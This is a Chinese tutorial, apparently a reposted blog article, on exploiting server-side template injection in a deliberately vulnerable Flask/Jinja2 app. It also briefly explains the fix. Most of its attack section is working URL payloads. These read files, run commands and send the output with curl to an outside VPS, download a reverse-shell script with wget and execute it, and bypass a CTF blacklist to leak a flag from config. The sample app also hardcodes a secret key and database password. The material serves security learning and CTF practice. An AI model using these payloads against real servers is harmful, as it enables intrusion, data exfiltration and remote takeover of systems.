python 模板注入

news2025/1/11 6:13:35

  web 程序包括两个文件:

  flask-test.py 和 Config.py 文件

#!/usr/bin/env python # -*- coding:utf8 -*- import hashlib import logging from datetime import timedelta from flask import Flask from flask import request from flask import config from flask import session from flask import render_template_string from Config import ProductionConfig app = Flask(__name__) handler = logging.StreamHandler() logging_format = logging.Formatter( '%(asctime)s - %(levelname)s - %(filename)s - %(funcName)s - %(lineno)s - %(message)s') handler.setFormatter(logging_format) app.logger.addHandler(handler) app.config.secret_key = "\xe8\xf7\xb9\xae\xfb\x87\xea4<5\xe7\x97D\xf4\x88)Q\xbd\xe1j'\x83\x13\xc7" app.config.from_object(ProductionConfig) #将配置类中的配置导入程序 app.permanent_session_lifetime = timedelta(hours=6) #session cookies 有效期 page_size = 60 app.config['UPLOAD_DIR'] = '/var/www/html/upload' app.config['PLUGIN_UPDATE_URL'] = 'https://ForrestX386.github.io/update' app.config['PLUGIN_DOWNLOAD_ADDRESS'] = 'https://ForrestX386.github.io/download' @app.route('/') def hello_world():   return 'Hello World!' @app.errorhandler(404) def page_not_found(e):   template = ''' {%% block body %%} <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.url)   return render_template_string(template), 404 if __name__ == '__main__':   app.run()
Config.py #!/usr/bin/env python # -*- coding: UTF-8 -*- class Config(object): ACCOUNT = 'vpgame' PASSWORD = 'win666666' class DevlopmentConfig(Config):   pass class TestingConfig(Config):   pass class ProductionConfig(Config):   HOST = '127.0.0.1'   PORT = 65521   DBUSERNAME = 'vpgame'   DBPASSWORD = 'win666666'   DBNAME = 'vpgame'

  kali上搭建有漏洞的flask web服务

  

 注:以上代码存在ssti漏洞点在于render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。

  解决方法:

 将template 中的 ”’<h3> %s!</h3>”’ % request.url 更改为 ”’<h3>{{request.url}}</h3>”’ ,这样以来,Jinja2在模板渲染的时候将request.url的值替换掉{{request.url}}, 而不会对request.url内容进行二次渲染(这样即使request.url中含有{{}}也不会进行渲染,而只是把它当做普通字符串)

 下面来利用这个漏洞搞点事情:

1.SSTI 利用之任意文件读取

关于类对象

instance.__class__ 可以获取当前实例的类对象

我们知道python中新式类(也就是显示继承object对象的类)都有一个属性__class__可以获取到当前实例对应的类,随便选择一个简单的新

式类实例,比如”,一个空字符串,就是一个新式类实例,所以”.__class__ 就可以获取到实例对应的类(也就是<type ‘str’>)

类对象中的属性__mro__

class.__mro__ 获取当前类对象的所有继承类'

python中类对象有一个属性__mro__, 这个属性返回一个tuple对象,这个对象包含了当前类对象所有继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order) 寻找的顺序

 

从结果中可以发现”对应的类对象str继承的顺序是basestring->object

类对象中的方法__subclasses__()    

每一个新式类都保留了它所有的子类的引用,__subclasses__()这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)

我们知道python中的类都是继承object的,所以只要调用object类对象的__subclasses__()方法就可以获取我们想要的类的对象,比如用于读取文件的file对象

通过以上的python代码就能够找到有读文件功能的类(可以加上大小写)

这里找到了file对象来进行文件的读取

这里成功利用file对象的匿名实例化,并为其传参要读取的文件名,通过调用其读文件函数read就可以对文件进行读取了。

https://xuanxuanblingbling.github.io/ctf/web/2019/01/02/python/ 这篇文章把__class__,__mro__说的很清楚,赞。

2.SSTI 利用之命令执行

 我们还可以在object的所有子类中找可以引入了os模块的类,并以此来执行命令

 由于执行命令最终的结果无法回显到浏览器端,因此我们把结果发送到vps上,比如我们想执行ls命令,查看当前路径的文件,那么

 所以我们使用payload

1

http://127.0.0.1:5000/{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].system('ls > tt.txt & cat tt.txt | xargs -I {} curl http://172.93.33.250/?{}')}}

http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[71].__init__.__globals__['os'].system%28'ls%20%3E%20tt.txt%20&%20cat%20tt.txt%20|%20xargs%20-I%20%7B%7D%20curl%20http://172.93.33.250/?{}%27%29}}

这里使用了linux的管道命令,首先把ls的结果写入到tt.txt中,然后把里面的每一个文件名作为参数分别向自己的vps发送请求,所以最终只需要查看自己的vps的访问日志,就可以查看到目标路径下的所有文件名

这里用到了xargs来传递管道参数,xargs的一个选项-I,使用-I指定一个替换字符串{},这个字符串在xargs扩展时会被替换掉,当-I与xargs结合使用,每一个参数命令都会被执行一次(注:xargs的详细用法见http://man.linuxde.net/xargs)

利用同样的方法,我们也可以继续查看其他命令的执行结果

3.SSTI 利用之远程代码执行

如果不能利用os模块在服务器端执行命令,那么还可以利用susprocess模块来执命令,比如利用subprocess的check_output函数

在代码中因为使用了flask.config它是一个类似字典的对象,包含了应用程序所有的配置文件信息(你所有的用app.config.xxx | app.config['xxx'] 配置信息 都在config这个上下文对象中),在很多的例子中,这个config对象包含了很多敏感的信息,比如数据库连接信息,连接第三方服务的SECRET_KEY等

使用config.items()就能够获得所有的配置信息

而config.from_object(args)能将其参数所指模块中的大写属性加入config对象实例中,通过执行{{config.from_object('os')}} ,{{config.items()}},就能看到

在这里我们先把想要调用的命令执行函数作为配置信息,写入一个py文件中

http://127.0.0.1:5000/%7B%7B''.__class__.__mro__[-1].__subclasses__%28%29[40]%28'/tmp/tmp.cfg','w'%29.write%28'from%20subprocess%20import%20check_output%5Cn%5CnRUNCMD=check_output'%29%7D%7D

文件写入完成,然后通过config.from_pyfile函数来导入指定py文件中的大写属性加入到config这个上下文对象中(这就是为什么用RUNCMD了,大写)

 

 此时check_output函数已经导入,也就是可以执行命令的函数已经导入到了config变量中。

 此时远程下载反弹shell的脚本

http://127.0.0.1:5000/%7B%7Bconfig['RUNCMD']%28'/usr/bin/wget%20http://172.93.33.250/shell.py%20-O%20/tmp/shell.py',%20shell=True%29%7D%7D

 此时已经在目标服务器上下载了reverse的py脚本,接下来只需要使其执行即可得到shell

http://127.0.0.1:5000/%7B%7Bconfig.from_pyfile%28%22/tmp/shell.py%22%29%7D%7D

首先在自己的vps上用nc监听21192端口,然后通过config.from_pyfile来导入反弹shell的脚本,python在导入模块的同时也会执行脚本中部分代码(class 和方法的定义不会执行),利用这一点,就可以执行反弹shell 了

此时已经拿到了目标机器的shell

 jinja2 ssti bypass:

Jinja2 template injection filter bypasses | Sebastian Neef - 0day.work

利用继承连来泄露信息

import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)

如果能用config,则可以通过config来泄露flag,因为config作为flask的一个全局变量存储着flask应用的信息

 如果能用self的话,则可以通过self.__dict__来泄露flag 

如果没有过滤(),则可以通过通过__subclasses__()结合基类找到os模块来泄露flag,类似

().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG'] ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__'.("os").__dict__.environ['FLAG'] ## 作者给的; <type 'dict_keys'> 里本身就有 OS [].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']

因为这里过滤了config,self和self,所以要访问到config,所以首先得找到全局变量current_app

__globals__['current_app'].config['FLAG'] top.app.config['FLAG']

可以通过以上两种形式来找flag

比如url_for和get_flashed_messages的__globals__中均含有current_app,那么获得current_app以后就可以直接访问config

用类似x.__globals__跑一遍可以用的变量如下

 比如通过url_for.__globals__['current_app'].config

 或者通过get_flashed_messages.__globals__['current_app'].config

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/94875.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于java(springboot)篮球竞赛预约管理系统(java毕业设计)

基于java(springboot)篮球竞赛预约管理系统 篮球竞赛管理系统是基于java编程语言&#xff0c;mysql数据库&#xff0c;springboot框架和idea工具开发&#xff0c;本系统分为用户和管理员两个角色&#xff0c;其中用户可以在线注册登陆&#xff0c;查看平台公告&#xff0c;查看…

JSP运动会信息网站

开发工具(eclipse/idea/vscode等)&#xff1a; 数据库(sqlite/mysql/sqlserver等)&#xff1a; 功能模块(请用文字描述&#xff0c;至少200字)&#xff1a; 模块划分&#xff1a;通知类型、通知信息、裁判信息、运动员信息、项目类型、项目 信息、场地信息、项目安排、报名信息…

【记录】ubuntu20.04安装nvidia显卡驱动

新安装的Ubuntu20.04系统&#xff0c;如果想进行人工智能相关的学习&#xff0c;需要配置一系列的环境&#xff0c;这里我记录下具体的安装过程。 Nvidia显卡驱动的安装 1 安装前需要安装依赖(必须执行) sudo apt-get update #更新软件列表 #安装编译依赖 sudo apt-get inst…

Python urllib CRLF注入漏洞小结

Python urllib CRLF注入漏洞小结 CVE-2016-5699 https://www.suse.com/security/cve/CVE-2016-5699.html before 2.7.10 and 3.x before 3.4.4POC&#xff1a; http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo漏洞&patch源码&#xff1a;http…

音视频大合集最终篇;学废了

前言 加企鹅群&#xff1a;1079654574 解锁 《音视频八大板块资料》音视频大合集&#xff0c;从初中高到面试应有尽有;让学习更贴近未来实战。已形成PDF版 八个模块内容如下&#xff1a; 1.音视频基础2.FFmpeg实战3.流媒体客户端4.流媒体服务器5.WebRTC项目实战6.Android NDK开…

零时 || 警惕恶意聊天软件!聊天记录被劫持损失数千万资产追踪分析

事件背景 近期&#xff0c;零时科技安全团队收到大量用户因为同一个原因导致加密资产被盗的情况&#xff0c;经调查都是因为过程中使用了恶意Whatsapp的原因&#xff0c;通过与受害者沟通&#xff0c;了解到情况如下&#xff1a; 受害者在使用恶意Whatsapp进行沟通时&#xf…

173. 二叉搜索树迭代器

实现一个二叉搜索树迭代器类BSTIterator &#xff0c;表示一个按中序遍历二叉搜索树&#xff08;BST&#xff09;的迭代器&#xff1a; BSTIterator(TreeNode root) 初始化 BSTIterator 类的一个对象。BST 的根节点 root 会作为构造函数的一部分给出。指针应初始化为一个不存在…

STM32F4 | PWM输出实验

文章目录一、PWM 简介二、硬件设计三、软件设计四、实验现象五、STM32CubeMX 配置定时器 PWM 输出功能上一章&#xff0c;我们介绍了 STM32F429 的通用定时器 TIM3&#xff0c;用该定时器的中断来控制 DS1 的闪烁&#xff0c;这一章&#xff0c;我们将向大家介绍如何使用 S…

CososCreator (Android)-AppLovin MAX 广告聚合平台接入+Firebase统计

CososCreator 2.2.4 Android Studio &#xff1a;4.2.1 接入SDK有&#xff1a;接max聚合及中介平台(Admob&#xff0c;FB, applovin&#xff0c;pangle&#xff0c;mintegral&#xff0c;vungle&#xff0c;unity)&#xff0c;和Firebase 统计 1、构建Android工程 2、升级gr…

计算机SSM毕设推荐 40个高质量软件工程毕设项目分享【源码+论文】(一)

文章目录前言 题目1 : 基于SSM的毕业设计管理系统 <br /> 题目2 : 基于SSM的病人跟踪治疗信息管理系统 <br /> 题目3 : 基于SSM的大学生兼职跟踪系统 <br /> 题目4 : 基于SSM的大学生企业推荐系统 <br /> 题目5 : 基于SSM的电影院在线售票系统 <br …

电感和磁珠的区别

电感和磁珠在我们电路设计中经常会用到&#xff0c;他们都属于磁性元器件&#xff0c;今天就来分享下电感和磁珠的区别 1.从构成原理来看 电感其实就是导线这样一圈一圈绕在磁芯上&#xff0c;这样就构成了电感&#xff0c;而磁珠(插件)的话则是导线外围包裹着一层铁氧体磁性材…

Linux中磁盘存储相关命令

du 命令 Linux du命令也是查看使用空间的&#xff0c;但是与df命令不同的是Linux du命令是对文件和目录磁盘使用的空间的查看&#xff0c;还是和df命令有一些区别的. **1&#xff0e;**命令格式&#xff1a; du [选项][文件] **2&#xff0e;**命令功能&#xff1a; 显示每…

javaHelloWorld

java语言介绍 ​ 目前大系统开发中&#xff0c;很少使用单一语言进行开发&#xff0c;现有语言也十分发达&#xff0c;包含Java\C\C\PHP\Python等等。通常情况下&#xff0c;一个大系统底层驱动部分都是使用C语言开发&#xff0c;而在上层用户交互层使用java语言开发。因此&am…

新型材料厂电动葫芦PLC无线通讯应用方案详解

一&#xff0e;应用背景 电动葫芦是一种安装在天车、龙门吊之上的特种起重设备&#xff0c;具有体积小&#xff0c;自重轻&#xff0c;操作简单&#xff0c;使用方便等特点&#xff0c;是起升搬运物品&#xff0c;最理想的起重设备之一。目前电动葫芦的控制部分都是由PLC完成的…

【Spring Cloud】Ribbon负载均衡原理与实战(源码级讲解)

本期目录1. 负载均衡原理1.1 总体流程1.2 源码解析2. 负载均衡策略2.1 负载均衡策略继承关系2.2 负载均衡策略描述1&#xff09;ZoneAvoidanceRule2&#xff09;AvailabilityFilteringRule2.3 修改负载均衡策略方式1&#xff09;全局修改2&#xff09;局部修改3. 饥饿加载3.1 背…

使用VackBAS攻击模拟平台对抗勒索病毒

勒索病毒是一种恶意软件&#xff0c;它可以从一台主机直接感染到整个网络&#xff08;包括服务器&#xff09;并加密磁盘上的任何文件和文档&#xff0c;勒索软件会要求受害者缴纳赎金以取回对电脑的控制权&#xff0c;或取回受害者根本无从自行获取的密钥去解密文件。勒索病毒…

jsp+ssm计算机毕业设计宠物店管理系统【附源码】

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; JSPSSM mybatis Maven等等组成&#xff0c;B/S模式 Mave…

数论的一些小小的性质总结

gcd的一些套路&#xff1a; 1.设一些未知数&#xff0c;设gcd为k&#xff0c;换个角度去看问题&#xff0c;比如去枚举倍数 2.一堆数的gcd为1&#xff0c;等价于它们所有数的因子重合小于n&#xff1b;两个数的gcd1&#xff0c;它们的因子之间没有重合 3.相邻两数之间gcd1&a…

SpringMVC:SpringMVC请求映射路径(3)

SpringMvc请求路径1. 环境准备2. 问题提出3. 设置映射路径3.1 方法一&#xff1a;修改Controller3.2 方法二&#xff1a;优化路径配置1. 环境准备 项目结构 BookController类 public class BookController {RequestMapping("/save")ResponseBodypublic String save…

告别XML,Android新声明式UI框架《Jetpack Compose入门到精通》最全开发指南

什么是Jetpack Compose? Jetpack Compose是Android的新声明式UI框架。长期以来, Android 开发人员习惯于使用带有状态视图的xml编写UI,这些状态视图通过逐步浏览视图层次结构进行更新。使用Jetpack Compose, UI 是通过使用KotinQ 函数以无状态方式编写的。 可组合函数使用注…